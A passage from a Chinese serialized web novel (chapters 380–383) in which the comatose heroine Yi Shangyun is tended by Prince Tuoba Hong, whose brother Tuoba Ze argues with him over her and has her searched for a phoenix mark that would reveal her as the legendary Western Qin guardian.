霎那间,她只觉得自己的心口好堵好堵,堵的不能呼吸。于是,便一把紧紧地攥住了自己的胸口。 “殿下,云儿究竟该怎么办?为什么会成这个样子?这偌大的世界,难道就真的没有一个能容得下我的地方吗?为什么到哪里?都会让她如此为难呢!” 想着想着,忽然抬眼瞥见了拓跋宏手中正捏着的药丸,遂鬼使神差般地一把将其夺了过去捏碎,飞快地收起半粒相对比较完整的放回小木匣中,兀自脱下了手腕上的七彩金丝彩玉镯子,按照那夜道长所言,将剩下的残碎药丸用镯子两下研细,半昂起头来,一口吞下。 拓跋宏顿时大惊失色地拍着她的后背,催促道:“你这是做什么?快吐,快吐出来!” 然却早已经晚了。 他只能惊恐地注视着衣上云的眼睛,不知道下一秒会发生什么? 却发现不知何时,她的眼里竟闪烁起了点点晶莹的泪花来。 这时,衣上云缓缓将玉镯拾起套回至手腕忽然起身来,却是眼前突然一黑,摇摇欲坠着直倾倒了下去…… 第三百八十章:半粒还魂丹 拓跋宏倏的一下立起身来,一手飞快地穿过她的腋下,从身后将其一把拦腰横抱起,便疾步过去将其揽在身前策马在草原上奔腾起来,并在她的耳边疾声呼唤。 “乌乐,醒醒,快醒醒!” …… 果然,因为一时情绪失控终而服下半粒还魂丹后的衣上云,在接下来的日子里就像是患了某种不得而知的大病一般,陷入了沉沉的昏迷当中,从此一病不起。 在此期间,一次又一次毫无规律可循的高烧,好不容易退了下去,然又很快便会再次莫名的复烧起来。 日日夜夜,反反复复,整个人似是都处在极为痛苦的煎熬之中,始终都不曾真正睁开眼来清醒过半刻。 拓跋宏从来没有如此焦虑不安又束手无策过,他整日整夜不眠不休,寸步不离,无微不至地照顾在其身旁左右。 几日里,他经常听到她在昏迷中迷迷糊糊所发出来的一阵阵喃喃之音…… 然绝大多数却都只是关于轩辕翰的,偶尔似是还有一个陌生的名做“魏明轩”的家伙,却压根就没有关于自己的任何只字片语。 对此,拓跋宏的脸上、眼里、心里满满到处都是失望,但更多的则是害怕与担忧。 能找的名医术士,甚至古老的传说里说可以通鬼神的草原巫师,他亦几乎亲自踏遍了整个草原全部都已经请遍。 最后通过所有人的集体会诊,却是依然对此没有丝毫的办法。 大家甚觉惊诧,不可思议地一致认为,衣上云这根本就不是生病,因为从其脉象上看,她根本就没有任何异常。 那到底是什么原因造成了她如今这般诡异的情况? 最后,即便是在所有人一同看了拓跋宏所向其展示的剩下的半粒还魂丹后,依然没有一人能认出此物来。哪怕是只能识出其中的成分一二,亦做不到,俱都为此而深深感到神秘和纳闷。 这会儿,显然经过好几日费尽心思,颇为大费周章的一番折腾,所有功夫终又算是白费了,无奈只能安排人将他们一一送回。 夜幕下,拓跋宏远远眺望着最后一位被侍卫护送着渐行渐远,离去的年迈医者的背影,多想他能忽然回头,说自己有了良方。可显然…… 双手负后而立着重重的叹了口气,垂头拖着满是疲惫的身躯转身回到了帐篷里。 借着帐篷内一盏昏暗的孤灯照耀,愣愣地望着床上此刻正安静躺着的衣上云的脸,回忆起事发当夜的前前后后来,遂缓缓举步过去落座在衣上云简陋的床前,握紧她放在外面的一只冰凉的手,对其哈了哈热气,一脸的深情与抱歉。 “对不起,这一切都是我的错,一定是我当时说了什么不该说的话,让你产生了难以承受的压力。情急之下,你才会失去理智吞食下那半粒还魂丹,成为现在这个样子。” 顿了顿,那惊险诡异的一幕,至今想起来仍让他颇感心有余悸着。 “请你快点醒过来吧,只要你醒来,我收回之前...所有的话,以及对你...所有的心思。” 话音刚落,正想再次用自己吹出的热气继续温暖她冰冷的玉手,岂料手里正握着的衣上云的手,其腕上套着的那只七彩金丝彩玉镯子忽然一闪一闪的似是正在发出道道隐隐的紫色光芒来。 拓跋宏惊讶的顿时朝其屏住了呼吸,目不转睛地凝视着那只神奇的七彩金丝彩玉镯子。 在这忽明忽暗的一道道紫芒中,突然又隐隐约约地现出来一个血色纹路,这个纹路印记的形状像是个‘丰’形的图案,但这血色纹路却只是昙花一现,几乎是刚一现出来,便又瞬间消逝不见。 随之,那一道道忽隐忽现的紫色光芒亦一起消失,全都又瞬间恢复如常。 就在这时,床上的人忽然又开始发出来阵阵迷迷糊糊的喃喃之音来。 “命里有时终须有,命里无时莫强求、因果轮回、百世契约、花开花落、既来之则安之。” “怎会避无可避?,怎会避无可避?……” “你家小姐早就已经死了,她那被封印了的躯体被21世纪的我不小心撞入,我只不过,是和你家小姐同名而已。” “西秦守护者,西秦守护者,为什么是我,为什么,不,我不是,我不是什么守护者,我只是衣上云,我是,我是21世纪的衣上云!我要回去,我要回去我的世界,我要回去,魏明轩,我要......” “你是谁?你是谁?你……” 听到这一切,拓跋宏显然惊呆了。 他愣愣地看着她复又安静了下来的睡脸,蹙眉木讷不解地重复着她的话道:“21世纪,什么21世纪?被封印了的躯体?西秦守护者?” 面对人生第一次听到的这一堆莫名其妙的话,拓跋宏一边说一边思量着,似是忽然缓过神来意识到了什么,遂再次大声惊了一句:“西秦守护者?” 继而顿时朝其脸上仔细深看了过去:“她是…原来她就是…传闻中遗失了的西秦守护者后人。” 这一刻,拓跋宏忽然觉得如此,仿佛所有对她的疑问全都能解释通了一般。 “难怪她一介女流,且年纪轻轻,便有如此高深精湛的医术,凡经过她手所诊治的病患,哪怕再命悬一线,生命垂危,皆都不在话下。简直就是闻所未闻,见所未见。” 沉沉暗夜,微风习习,灯火摇曳,拓跋宏惊诧地望着衣上云手腕上的那只镯子,再次陷入了深深的沉思之中。 “难怪世人皆传说‘得此力量者得天下’。原来,神秘的西秦守护者的强大力量就算是在医术上也是天下第一,无人能敌。那在其他方面…这只镯子……” 正在思量着,一名侍卫忽然神色匆匆地疾步走了进来,朝拓跋宏的身边近身过去压低了些许声音禀报道:“殿下,大皇子来了。” 话音刚落,便从外面传出来一阵极为恼火又狂傲的高声。 “皇弟,眼看着西秦军队都快要打到家门口来了,你不上阵指挥杀敌,怎么还躲在这如此偏远的地方只顾着自己风花雪月,贪图享乐呢?这种贱民居住的地方,让我到处一通好找。” 随之,便见拓跋泽大摇大摆气呼呼的踏进了帐篷里来。 刚一进门,却看到了躺在帐篷里一角上,头尾用两条长木凳支撑起的一张且算得上是叫做床的一张木板上,正昏迷不省人事的衣上云。 顿时停下了脚步朝其怔愣了住,继而目光冷厉地转向了其床头正在缓缓立起身来的拓跋宏,疑惑地问:“她…她怎么在这儿?她这是怎么了?” 说着,便忙继续紧了两步上前落座在拓跋宏方才所坐的地方,仔细查看起衣上云的情况来。 这时,拓跋宏亦望向衣上云日益更加瘦弱的脸,无奈地道:“是她自己不知道从哪儿得知了你是北烈国皇子的身份后,非坚持着不愿住在你所安排的有仆人侍奉的大帐篷里。整日整夜不吃不喝,不眠不休,以此来要挟,执意要到这里为这些没有钱看病的穷苦牧民们诊病的。” 拓跋泽一听,当即怒斜了拓跋宏一眼,哼声说道:“哼…‘巧妇难为无米之炊’。即便如此,若是没有你的暗中帮助,为她免费提供药材。难不成她只靠着两只手,便能将这些牧民们一个个都救活吗?如今,在这片大草原上,‘乌乐神女’的名气可是无人不知,无人不晓了,马上都快要盖过父王及你我了。” 话一说完,拓跋泽狠狠地瞪了他一眼。 “皇兄,我……”拓跋宏顿时着急地想对其解释些什么,却被拓跋泽伸手将其全都挡了回去。 “好了,关于你和她的一切,我早都已经知道了,你不用再与我狡辩。若要解释,你便回去与父王解释吧。我很忙,可没有时间像你这般任性浪费的。” 就在俩人说话间,拓跋泽已经替衣上云把好了脉,遂一脸疑惑地看向拓跋宏的脸,问:“她这到底是怎么了?脉象平稳缓和,似是并无什么不妥,却为何总一直这样昏迷不醒呢?她这样多久了?” “她…她已经……”他到底该如何才能对他解释清楚这件事呢?一时间里,拓跋宏竟忽然变得结巴了起来。 见此,拓跋泽误以为衣上云发生了什么意外,遂倏的一下站起身来,上前一把提住了拓跋宏的衣领,激动地朝其质问。 “到底发生了什么事?她到底怎么了?我当初是怎么交待你的,要你务必一定要将她看护好了,千万不能出什么意外。难道你把我的话都当做耳边风了吗?” 拓跋宏大力地一把推开了他,急道:“是她自己。” “她自己?她又做了什么?难道…难道她还是打主意想要回西秦国去找那个轩辕翰不成?还不快把话说清楚了!”拓跋泽愣愣地望着衣上云的脸,催促拓跋宏道。 拓跋宏深吸了口气,沉声说:“她服下了半粒还魂丹,不知为何,便就成这样了。已有四、五日之久,我已经寻来了草原上所有懂医术的人,却是全都…束手无策!” 说完,拓跋宏便无奈的低下了头去,拓跋泽惊诧不解地问:“什么还魂丹?” 第三百八十一章:兄弟争执 “什么还魂丹?” 拓跋宏深吐了口浊气,解释道:“她说是在西秦国时所偶遇到的一位道人所赠,说那还魂丹能帮助她恢复记忆。” “是什么样的道人?她为何想要恢复记忆?难道现在这样不好吗?她不是就想要绝对的自由吗?我不是都已经给她了,她还想怎样?为什么想要回到过去?” 拓跋泽顿时间怒不可遏地凝视着衣上云禁闭的双眼,忿忿地一边说着,将一拳重重的砸在了她身下的床板边沿上。 床头一案几上所燃着的本就在随风摇曳,散发出一片极弱光亮的整个帐篷里唯一的一盏烛火,顿时间被其所震起的一股风袭地忽明忽灭,最终却还是顽强的挺了过来。 本就因近日里如同见鬼一般连连战败不甚苦恼郁闷着,而今衣上云又变成了这般模样,还有那搜寻西秦守护者下落久久无果的事,似乎所有的一切,没有一件事是能让他省点儿心的。 于是,一见眼前的视线顿时闪换着变暗,拓跋泽只觉得心底突然间更加来气,仿佛这烛火也是在故意跟他作对一般,便再也不继续隐忍着,犹如一只炮仗般,瞬间被引爆。 “屋里点这么暗的烛火,难道我北烈是真的要亡国了吗?竟连烛火都已经点不起了?” 一旁的拓跋宏听闻其大怒,竟连这种亡国的话都说了出来,遂惊看了那似是惧怕地都在发抖一般跳跃着的烛火一眼,忙上前两步到其身旁对其解释。 “皇兄息怒,皇兄有所不知。这个帐篷里之所以会如此灯火昏暗,是因为乌乐她不喜光亮,故而为之。” “不喜光亮?是又觉刺眼么?”拓跋泽边说边横了他一眼:“什么不喜光亮?是又觉得刺眼么?我看问题并不是出在这光上,而是她的心里。她这分明就是至今都对那个秦王轩辕翰死心塌地,念念不忘。怕见光是吧...哼……” 望着衣上云安静的脸冷哼了一声,遂起身来双手负后着疾步走到帐篷中央,大声唤来了守在帐篷外的侍卫,对其发号命令。 “来人,给本皇子将这整个帐篷的里里外外全都通通点亮,本皇子要连她的汗毛都能数得清,快去!” “是。” 两名侍卫进来领命后,便小心翼翼地忙着于各处开始掌灯。 拓跋宏一脸焦急,张了张嘴似是还想开口劝些什么,但见他俨然一副怒不可遏的样子,此刻定是听不进任何劝说的。只能任由侍卫们将帐篷内只不过用了须臾时间,便照的恍若白昼一般。 拓跋泽似是对此效果颇为满意,不住地连连点头。 侍卫褪去,他方才缓缓侧过身去,却一脸冷厉地对着床边方向恨恨地说:“看来,我平日里真是对你太百依百顺了,才会什么都由着你的性子。既然如此,那就不要怪我违反我们之前的君子约定了!” 闻此,拓跋宏惊诧地急急瞟了衣上云一眼,继而又望向拓跋泽的脸问:“皇兄,你想做什么?” 拓跋泽想了想,面色沉静地说:“把她带回去关起来,命人严加看守,小心伺候着,不许她再出来做这些事。” 拓跋宏大惊:“皇兄万万不可,乌乐,她可不是那种可以关的住的女人,这样她会被逼疯的。” 岂料拓跋泽一点儿都不容置喙,更加坚决道:“即便是真的疯了,也比这样半死不活着的好。我意已决,不必再多说。” 拓跋宏还想继续尝试着为其争取她想要的自由,着急地解释道:“皇兄有所不知,其实,她如今的状态已经很平静了。若不是因为我……” 说着说着心里闪过了一丝犹豫,转而又道:“若不是因为实在乃是因为焕颜丹的百日之期马上就要到了,那时她便又会恢复到以前的容貌。而面对如今草原上来自各股势力无休无止对她的探寻,所以她才决定,想要恢复记忆去面对这一切,不想再逃避下去,所以才会……” 话未说完,拓跋泽便早已狠狠地咬起了牙关来,忽地转身怒瞪着他的眼睛,将其剩余的话全都打断:“住口,你难道没听到我说的话吗?我意已决,不许再多说一个字。” “如若皇兄执意如此,那请恕皇弟不能苟同。无论如何,我是绝对不会同意皇兄这么做的。乌乐不是大草原上的马儿或羊儿,任你想关就关,想放就放。她是一个有血,有肉,有思想,有感情的大活人,岂容你随意虐待。” 拓跋宏见他一意孤行,如此武断,亦毫不示弱地表明了自己的坚定立场,甩了甩衣袖,气呼呼地转过了脸去,凝视向衣上云的脸,不再说话。 两人的谈话因此而彻底陷入了僵局,一时间,帐篷里静悄悄的,针落可闻。 不知过了多久,拓跋泽终是深深地叹了口气,转身上前去手在半空僵了一瞬,才缓缓从其身后将其搭在了拓跋宏的肩上轻拍了两下,淡淡开了口。 “皇弟,我这也是为了她好。你看她自从来到了草原上,便整日里寡言少语,寝食不安的架势,已然是一点儿也不稀罕自己的身子。长此以往,若是再这样下去,早晚有一日她一定会出事的。为了带她回国,我可是花了不少功夫,又岂会害她?” 说完之后对着他宽阔的后背沉默了一会儿,直到细微觉察到拓跋宏的身子微微动了一下后,拓跋泽方才松手走向帐篷里唯一一个粗陋的案几边落座下,继续说。 “如今,来草原上探寻她的人,无非就是对她已经身亡了的消息尚不甘心的轩辕翰的耳目。这些人,简直就像是我大草原上那遍地烧不尽的野草一般,真是可恶!” 说着说着,忍不住又激动了起来,再一次一把重重地拍在了面前的案几上。 那张由衣上云亲手从树林里捡回来的材料所制成的勉强能称得上是张单薄的案几,怎能承受起他那一掌,瞬间便被震散了架,落地变成了一片片,一条条或尚还完整,或已被彻底振裂报废的碎木料。 “这都是些什么乱七八糟的东西?”拓跋泽霎时大怒。 拓跋宏怔望着一地的狼藉,木讷的说道:“除了治疗病患所必须的药草之外,她不肯接受来自我们北烈皇室的任何东西。所以,这间屋子里的一切,全部都是她自己找材料回来亲手所制。” 说着,他停下来又环视了一眼帐篷四周,那到处皆是的破洞:“就连这个破旧的帐篷,亦是用尽了她身上仅剩的一点点积蓄,从她救治过的一户牧民那里换的废旧之物。牧民感激她的救命之恩不愿收她的钱欲要赠她,她便执意拒绝,直到后来在湖边晕倒险些被成群的野狼攻击……“ 想起衣上云在得知了拓跋泽的真实身份,竟然是北烈国大皇子,一气之下逃了出来,刚开始时在这里所度过的那些孤独无助,又艰难非人的日子。 尤其是幸亏被他及时找到的那个黑夜里,在她因为整日里诊治病患后又饿又累,又无家可归。最后实在是体力不支而沉沉晕倒在一条湖边。 而她的身旁,一林间暗处的一群饿狼正对她投去一双双虎视眈眈噬人的绿色眼睛来…… 一念至此,拓跋宏至今想起来都觉得心惊胆战着。一时间,竟再也说不出话来。 片刻后,拓跋宏吸了口气,对同样怔愣着的拓跋泽说:“我若不是对她故意隐瞒了自己的身份,怕是至今根本就没有办法接近她,更别说保护她了。” 岂料拓跋泽却仍然执迷不悟地道:“这个女人,真是固执的无药可救了。可正因如此,我们才更要将她保护好。你也亲眼看到了,她的医术,简直就是个奇迹。有了她,我草原上的贵族们以后便再也不会有人饱受病痛折磨了。” 拓跋宏摇摇头,惊讶地看着他的脸:“皇兄为何到现在还不明白?在她的心里,人与人之间并无高低贵贱之分。在这里,他对牧民们所说的最多的一句话便是‘医者父母心’。在她的眼里,无论是贵族还是平民,都应该受到国家的保护,生了病一样可得诊治,而不是被人歧视,被国家抛弃。她还......” 话未说完,便被拓跋泽极不耐烦地噎了回去:“好了,不用再争了。草原上自古便是男尊女卑,贵族与平民之间,一向便是如此,怎能平等?若是没有贵族们的鼎力支持,那我北烈皇室岂不就成了一个空架子,一无所有了么?!再说了,我们整日里出生入死保卫这片疆土,不也是为了庇护他们吗?他们还想怎么样?” “皇兄……”拓跋宏仍想与其争辩,却被拓跋泽厉声制止:“行了,我来找你是有更重要的事商议,不是来与你在这里讨论尊卑问题的。身为一个皇子,整日里跟在一个女人屁股后面满草原的疯跑,成何体统?你可知?西秦的十六万大军,已经由秦王轩辕翰亲自统帅着,浩浩荡荡地直朝着我北烈国开来了!” 拓跋宏闻此大惊一声:“什么?” 第三百八十二章:惊愕连连 “什么?” 闻此消息,拓跋宏顿时脸色铁青,不敢置信地盯着拓跋泽的脸,惊呆了。 俩人沉默了片刻,拓跋泽深叹了口气,缓缓起身来,冷如刀锋的眼神,现出一脸的严肃。 “西秦战场上,如今出了个叫什么‘衣将军’的新将领,带兵打仗完全不是以前那些老将的套路,使得我们为此而猝不及防。此人年纪轻轻,却不知是何来路?颇通兵法,且勇猛善战。一肚子的诡计多端,我们是千防万防,岂料他每次还是都能攻我们所不备,被他出奇制胜。仅此,原本就已经很难对付,我们已是节节败退。如今,若是再加上那个秦王轩辕翰以及他所统领的西秦十六万大军,那我北烈,怕是就岌岌可危了啊……” 拓跋宏不是不知道,拓跋泽一回国来,尚还未得片刻的喘息,便直接上了战场。 这些年,灵空四国之间边境上素来便屡屡有冲突发生,这并不是什么稀奇的大事。所以,他并未将此怎么放在心上。然一听拓跋泽此时所言,他竟不知,如今的局势已然变得如此严峻与危急。 此时,一向只专注于自己药草的研究,两耳不闻窗外事分毫的拓跋宏,俨然平生第一次为国事而忧心焦虑了起来。 “这,这可该如何是好啊?发生了这么大的事,一定得赶紧禀告父王才是啊!西秦,西秦为何会突然全力向我北烈开战了呢?” 而较之慌乱无措,拓跋泽则双手负后立着,显得极为镇定自若,沉稳的多。 只见他半眯起眼睛来,似是正独自陷入在一片沉沉的若有所思当中。 一个人静思了会儿后吐了口浊气,转眼紧紧盯着拓跋宏的脸认真地说道:“父王如今已然年事已高,且早已缠绵病榻大半年之久,已是自顾不暇,你心里亦是比谁都清楚,他怕是时日不多了。这个消息,还是暂且不要让人在父王的耳边提及的好,他已经经不起任何风浪了。看西秦这次的架势,恐怕是不止单单要吞下我北烈一国。这么多年过去了,他们…终于决定对这片大陆要开始动手了。” 听了拓跋泽的话,拓跋宏心中顿觉哀恸万分”是啊,父王的戎马一生,却终是再也战不动了。” 一念至此,他垂目凝视着地面许久,忽然低声不解地问:“可是,可是皇兄不是说过,在天下尚未确定西秦守护者后人究竟是生是死之前,灵空四国俱都不会轻举妄动,对彼此动手的么?那西秦又为什么会……” 正说着,见拓跋泽拿出一信封来递向了他的身前,他一边伸手将其接过,一边疑惑地问:“这是什么?” 拓跋宏遂一抽出里面的一张宣纸将其展开来一看,顿时被落在其上面那被人临摹的栩栩如生的年轻貌美,楚楚动人的女子画像惊呆了,对着画像愣愣地问:“这个女子…她…她是?” 拓跋泽幽幽答道:“这便是我回国前,那西秦秦王的枕边人,秦王妃亲手交给我的西秦守护者画像!” “什么?这…这真的便是传闻中的西秦守护者?”拓跋宏闻之惊看了拓跋泽一眼,遂又再次落目回去细细将其端详了一番。 除了药草医术外,生来一向喜欢习文弄墨,又对字画颇为情有独钟,观察入微的拓跋宏,心里却忽然觉得这女子看起来似是有些眼熟。 很快,他便将其从记忆里拾起,与衣上云梦魇里的喃喃之语联系在了一起。 而就在他因此正陷入沉思与迟疑之际,一名侍卫行色匆匆地走了进来。 那侍卫朝俩人恭敬地行礼后站定到一边,似是本欲就有话要说,却在悄悄地看了拓跋宏一眼后,又隐忍了下去终没有说出口。 见他犹犹豫豫,拓跋泽素声朝其命令道:“有什么事就说!” “是”侍卫领命后,禀告道:“是这样的。前几日,大皇子让留在西秦国继续探寻守护者下落的人刚刚传来消息,说秦王轩辕翰…暗中已经停止了寻找守护者下落的一切行动!” “‘暗中已停止了寻找守护者下落’…这是为什么?”拓跋泽惊了一下,冷声问道。 侍卫回道:“关于他此举,如今亦是众说纷纭。有人说,是因为他很可能已经秘密寻到了守护者,想要私自独吞下这股强大的神秘力量;也有人说,他是心怀不轨故意为之,为了上位,不想璟帝得到守护者力量的守护,故而对其命令阳奉阴违;但也极有可能是因为与我国的战事影响,而无暇顾及……” “已经秘密寻到了?”显然,拓跋泽终还是对这一点,似是更加饶有兴趣。 侍卫随其默想了会儿,抬头不经意瞥见了床上的衣上云,顿时记起一事来,觉得有些蹊跷,便道:“对了,前段时日尚且还在西秦四海茶庄的时候。属下曾在街上听到有人议论,说是西秦守护者后人,便是秦王府悬赏于整个灵空所要寻的那个医女。否则,那秦王怎么会舍得花那么大的价钱,只为寻回一个小小医女呢?” 闻此,一直静默在一旁沉思着的拓跋宏忽地缓过神来,紧张地望向了衣上云的脸。 与此同时,拓跋泽亦急急放眼过去瞥了一眼她,继而很快回过头来,对其冷冷的笑了一声,轻蔑地道:“西秦国那些孤陋寡闻的蠢货,明显就是在胡说八道。她与那气质尊贵的守护者根本就相差甚远,大不相同,没有任何的可比性。守护者后人美若天仙,而她……哼。” 忽一转念,又问身旁的拓跋宏:“皇弟,对此,你怎么看?” 此时,正陷入在自己甚觉不可思议的沉思之中的拓跋宏闻声,忽然回过神来对其怔了一下,继而又故意附和着道:“皇兄说得极是,这传言根本就是风马牛不相及,乌乐她怎么可能会是那神秘的西秦守护者后人呢?” 拓跋泽对其回答似是颇为满意地笑着点了点头,然一回过神来,对于眼下颇为严峻的局势又担忧了起来:“不过话说回来,我们已经派了这么多人,在灵空寻了这么久。莫非,那守护者后人真的已经被那秦王轩辕翰秘密寻到并占为己有了?如此一来,那西秦大军岂不是便所向无敌,势不可挡了吗?那我北烈岂不是真的要……” 正兀自说着,拓跋宏匆匆开口将其打断:“大战在即,皇兄切莫要自乱了阵脚。这么多年过去了,天下皆无守护者半点儿音讯,想必那守护者后人都还未必真的能活着。就算她侥幸活着,也未必真有传说中的那般神奇。如此温婉端庄的一个女子,难道她真有三头六臂不成?还是能够撒豆成兵,驰骋沙场?传说嘛,难免总是会失真,故意夸大其词的。” 一席话说完,见拓跋泽微微颔首,终于松开了紧皱的眉头,拓跋宏方才悄悄地舒了口气。 岂料身旁禀报的侍卫竟又忽然再次开了口:“俩位皇子有所不知,属下听讲这番话的那些人说,这可并不是空穴来风……” 话刚开口,便被刚刚松了口气的拓跋宏厉声呵斥道:“住口!莫要再继续讲这些无稽之谈来扰乱军心了!” 怎料话音未落,拓跋泽竟亦开了口,却是阻止拓跋宏的。 “哎,皇弟,你让他先把话说完嘛!有道是‘真的假不了,假的真不了’。我倒是对西秦国的这些民间传闻颇有几分兴趣。想想咱们一开始的时候,就连存在于西秦的那股神秘力量究竟是什么都搞不清楚,后来不也是民间到处搜集来的零零散散的消息,最后又在那丫头的提示下才终于明白,原来那股神秘力量竟是一个女子。最多,哪怕就是当做闲话来听听亦是无妨的。” 无论拓跋泽说什么,不知为何,拓跋宏却始终都着急紧张地想要赶快结束这场谈话:“不是,皇兄,这……” 拓跋泽终是笑着将其打断:“稍安勿躁,稍安勿躁。”说着,点头示意一旁正不知所措的侍卫。 这时,那侍卫方才怯怯地再次开了口:“讲这番话的那些人说,秦王府所看中的这名医女绝非凡人。她乃是受到凤凰神力庇护的女子,此生定是救苦救难,大富大贵之人……” 刚说了没几句,拓跋泽便起了兴趣问:“凤凰神力?” 侍卫点点头,道:“据说这名医女,本是城西衣府一药师家的废柴丑女。却不知为何在府里昏迷了一年之久,后来就在其醒来的那天夜里,衣府后院的半空,从天而降一道宛若一只七彩凤凰虚影的灼眼光芒,最后正好落入了衣大小姐的阁楼上。而这位大小姐,更是在醒来以后性情大变。所以人们传说…说真正的衣府大小姐其实早就已经死了,现在的大小姐乃是被那只七彩凤凰附了体。” “天下果真有如此诡异的事情?”拓跋泽已然被此话惊呆了。 拓跋宏亦是握紧双拳,紧紧咬着牙关隐忍着,怒瞪向那名侍卫,似是都想将他活吞了一般。 侍卫根本不敢看他的脸,想了会儿道:“这件事,如今几乎都已经传遍了西秦皇城的大街小巷。属下还听一疯疯癫癫的乞丐说,守护者肩部与生俱来都有一凤凰专属印记,那是受到凤凰神力庇护之象征,亦是守护者身份的象征。” 闻此,拓跋泽的眼睛顿时怔望向了衣上云的方向,兀自大步朝其床边迈了过去…… 第三百八十三章:验身 见拓跋泽三步并作两步,到了衣上云的床边后将其再次认真仔细地端详了片刻后,竟忽然掀开被角,毫无遮拦地朝其胸前的衣带伸出了一只手去。 拓跋宏只觉这一刻自己似是连心跳都停了一下,便又着急地飞奔上前去一把紧紧捉住了他停在半空中的手问:“皇兄,你要做什么?” 拓跋泽一脸惊愕,扭头看着他的眼睛顿了下,不解地道:“你这么紧张做什么?当着你的面,难道我还能把她吃了不成?自然是查看她身上到底有没有那个凤凰印记,看看她究竟是不是真的是守护者后人了?” 拓跋宏俨然一副不到切实感觉拓跋泽的手有收势的细微动作,绝不会松开手半分的架势。 闻声急道:“皇兄万万不可!方才你没听到吗?说此话的乃是一个疯疯癫癫的乞丐而已,疯癫之人的话,又岂能相信?对她,你比皇弟我要更为熟识,就她的容貌与气质,根本就不及那西秦守护者的九牛一毛,她怎么可能是她?” “走开,看看有何妨?” 岂料拓跋泽已然是鬼迷心窍,被那侍卫似是言之凿凿的一通话所深深勾住。竟不顾劝阻,一把推开了拓跋宏附上来的手,继续朝衣上云的衣带上探去。 情急之下,拓跋宏顿时灵光一闪,竟大声叫了句道:“皇兄住手,她已经是皇弟的女人了,皇兄不可以碰她。” 眼看着指尖刚刚触到了其胸前的那条紫色丝带,闻声顿时僵住了手里的动作,继而忽地转身回首惊诧极了地道:“什么?你们竟然已经…这是真的吗?” 拓跋宏深吸了口气,似是颇为郑重其事地下定了某种决心一般,信誓旦旦地道:“千真万确。” 说着,上前两步越过拓跋泽身前,到衣上云的床前为其一边将被角重新捻好,一边淡淡地道:“其实,就是在我方才一时冲动,说出了这些让她觉得为难的话,她方才于慌乱无措之际,吞食下了那半粒还魂丹。不过,我既然已经同她表明了心迹与决心,无论她最后答不答应?此生,我都非她不娶。” 拓跋泽愣愣地推后两步闻此,不禁顿时呆愣了住。 帐篷里刹那间如死一般寂静,其脸色一片煞白。对她,他自己又何曾不是留有几分私心的呢?否则,以他的脾性,早就强要了她。 原本以为,这个皇弟最多只是对西秦大地上长大的女子有一种新鲜感,好奇而已,并无什么真心可言。可听了这番话,他已然对她是相思入骨了。 沉沉地凝视了地面好一会儿,拓跋泽忽然回过神来朝一旁的侍卫吩咐道:“去附近找一名女子来。” 拓跋宏闻声,顿时回首朝其复叫了声:“皇兄。” 然拓跋泽却已背过身去,不肯再与其多说。 尽管拓跋宏依旧对他此举心中颇为不满,然明显亦无法再劝,不得已只能与其一道在帐篷内,心情忐忑的静待着稍后即将到来的查验结果。 侍卫一离去,他便开始在心里一遍又一遍的重复祈祷着:不是她,不是她,一定不是她,她的身上绝对不会有什么该死的凤凰印记,然心里却早已否定了自己所祈祷的结果。 如果她真的是,到时候,他真的还护得了她吗?他真的有能力阻止这个一向行事武断的皇兄吗? 一念至此,他竟不由自主地缓缓起身来,在帐篷里不停地踱起步来。 一旁静立着的拓跋泽,心里又何尝不是苦闷无解着,一瞥见他从眼前不住地晃来晃去,便嗔怪道:“你能不能安静下来歇一会儿,不要再这样走来走去了,我头都快要被你晃晕掉了。” 话音刚落,他忽然似是察觉到了什么,便朝其异常出神的举动端详了片刻后,沉声连连惊问道:“你是不是有什么事瞒着我?与她有关?你不想我替她验身,不会是你强行把她已经……” 拓跋宏闻声忽地回过神来,忙开口将其打断道:“皇兄多虑了,我怎么会对她强行做出那种事情。我只是…我只是在担心她的身体而已,不知她何时才能清醒过来。” 闻此,拓跋泽方才深深松了口气,舒展开眉头道:“刚才那侍卫不是说了嘛,衣府大小姐曾经昏迷过一年之久呢!放心吧,不会有事的。许是…她是因为被你的话吓的不想醒来呢!” 拓跋泽睨了他一眼,打趣地说道。 俩人正你一言,我一语,或讥讽,或互相揭短,或人身攻击地说着,侍卫很快便带回来一位朴实无华的草原妇人。 那妇人半夜三更被从家里叫醒,又得知是大皇子差遣办事儿,一路上心中俱都惶惶不安,惊怕不已着。 妇人一被侍卫带进到帐篷里来,便战战兢兢的缩成一团,朝着两位皇子恭敬地行礼。 拓跋宏一眼便认出了那妇人正是方才衣上云所救治的那名双胎生难产的病患家大婶,便悄悄地对其摇了摇头,又使了个颜色,却被拓跋泽犀利的眼神当场发现制止。 侍卫在将其带来时的路上,已经与其把要来办的事情做过一番详细的交代。 于是,那妇人见过两位皇子后,其他所有人便一并全都自觉地纷纷离开了帐篷,走到了外面去。 拓跋宏最后过去替衣上云捻好被角,亦最后一个走出了帐篷,站在草地上,抬头仰望着满天星斗,心中涩涩,思绪纷杂。 时间一点一滴地过去。 终于,妇人查验完毕走出了帐篷,朝着焦急等待在外面的拓跋泽与拓跋宏俩人一起禀告道:“俩位殿下,那位姑娘的身上并无什么凤凰印记。” 闻此,拓跋宏一颗早已提至到嗓门口来的心顿时终于又复沉回到了肚子里,重新安放好,松了好大一口气,兀自迈着轻盈的步伐跨进了帐篷里去。 然拓跋泽却仍然有些难以置信地朝其再次确认道:“你确定没有看错?她的肩上,真的没有什么凤凰形状的胎记或者什么其他的记号吗?” 妇人诚惶诚恐地道:“贱妇已经翻来覆去将那位姑娘的全身都仔仔细细的检查了数次,就连…就连女子最私密的地方亦都已经一一查过了,绝对不会看错。那姑娘的身子干干净净,什么斑斑点点俱都没有,就是......” 看到妇人的眼中终于现出了一抹迟疑,拓跋泽顿时重新燃起了希望,忙问道:“就是什么?快说!” 妇人蹙眉轻声道:“那姑娘就是太瘦太单薄了。听闻西秦国地大物博,国富民强,可她怎么就还不如我们草原上的女子壮呢!” 闻此,拓跋泽狠狠瞪了那妇人一眼,妇人赶紧低低地垂首了下去。 顿时间,拓跋泽整个人都愣住了,似是对此结果颇感到意外,心里有些失望,最后闭起眼睛来无力地朝其挥了挥手,妇人便赶忙匆匆如同逃亡般离去。 待其再次睁开眼时,只见漆黑一片的草原夜色下,早已不见了拓跋宏的人影,于是便将目光横向了身边一直怯怯等候着发落的侍卫,忿忿道:“蠢货,整日里都从哪儿搜寻来的这些烂消息。滚!” 说完,便亦朝着帐篷内大步走了进去。 “属下该死,属下该死……”可怜那侍卫却还一脸苦涩又自觉无辜地颤颤巍巍独自留在帐篷外,迎着草原的风,对着空气傻傻而立。 